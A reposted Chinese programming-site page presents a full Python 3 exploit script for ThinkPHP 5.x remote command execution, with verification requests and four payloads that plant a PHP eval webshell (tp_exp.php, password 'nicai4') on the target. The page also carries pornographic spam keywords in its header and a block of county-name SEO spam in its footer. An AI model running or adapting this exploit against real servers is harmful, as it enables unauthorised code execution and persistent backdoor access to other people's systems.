国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python3編寫ThinkPHP命令執行Getshell的方法

2020-02-16 01:22:38
字體:
來源:轉載
供稿:網友

加了三個驗證漏洞以及四個getshell方法

# /usr/bin/env python3# -*- coding: utf-8 -*-# @Author: Morker# @Email: [email]admin@nsf.me[/email]# @Blog:  [url]http://nsf.me/[/url] import requestsimport sys def demo():  print(' _______ _   _    _  _____ _  _ _____ ')  print(' |__  __| |  (_)   | | | __ /| | | | __ / ')  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')  print('''  | | | '_ /| | '_ /| |/ / ___/| __ | ___/ ''')  print('  | | | | | | | | | |  <| |  | | | | |   ')  print('  |_| |_| |_|_|_| |_|_|/_/_|  |_| |_|_|   ')  print()  print('/tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')  print('/tRemote command execution exploit.')  print('/tVulnerability verification and getshell.')  print('/tTarget: http://target/public')  print()class ThinkPHP():  def __init__(self,web):    self.web = web    self.headers = {    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",    "Accept-Encoding" : "gzip, deflate",    "Content-Type" : "application/x-www-form-urlencoded",    "Connection" : "keep-alive"    }   def verification(self):    i = 0    s = 0    verifications = ['/?s=index///think/Request/input&filter=phpinfo&data=1','/?s=index///think//app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index///think/Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']    while True:      if i == len(verifications):        break      else:        url = self.web + verifications[i]        req = requests.get(url=url,headers=self.headers)        if 'phpinfo()' in req.text:          s = 1          break        else:          s = 0        i += 1    if s == 1:      print("[+] There are vulnerabilities.")      print()      toshell = input("[*] Getshell? (y/n):")      if toshell == 'y':        self.getshell()      elif toshell == 'n':        sys.exit()      else:        sys.exit()    else:      print("[-] There are no vulnerabilities.")   def getshell(self):    getshells = [    '?s=/index///think//app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',    '?s=/index///think//app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',    '?s=/index///think//app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',    '?s=index///think//template/driver//file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']    shell = self.web + '/tp_exp.php'    i = 0    s = 0    while True:      if i == len(getshells):        break      else:        url = self.web + getshells[i]        req = requests.get(url=url,headers=self.headers)        req_shell = requests.get(url=shell,headers=self.headers)        if req_shell.status_code == 200:          s = 1          break        else:          s = 0        i += 1    if s == 1:      print("[+] WebShell :%s PassWord :nicai4" % shell)    else:      print("[-] The vulnerability does not exist or exists waf.") def main():  demo()  url = input("[*] Please input your target: ")  run = ThinkPHP(url)  run.verification() if __name__ == '__main__':  main()            
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 华亭县| 百色市| 鄂托克旗| 大洼县| 砚山县| 泊头市| 浦江县| 昭觉县| 晋州市| 彭泽县| 津市市| 西畴县| 普格县| 封开县| 陆川县| 三门县| 柘荣县| 浦江县| 华宁县| 长泰县| 长治县| 留坝县| 武穴市| 满洲里市| 新泰市| 博湖县| 新民市| 枣庄市| 西昌市| 久治县| 淳化县| 涪陵区| 寿光市| 扶余县| 沂源县| 桑植县| 郎溪县| 巴马| 洪江市| 无极县| 阿瓦提县|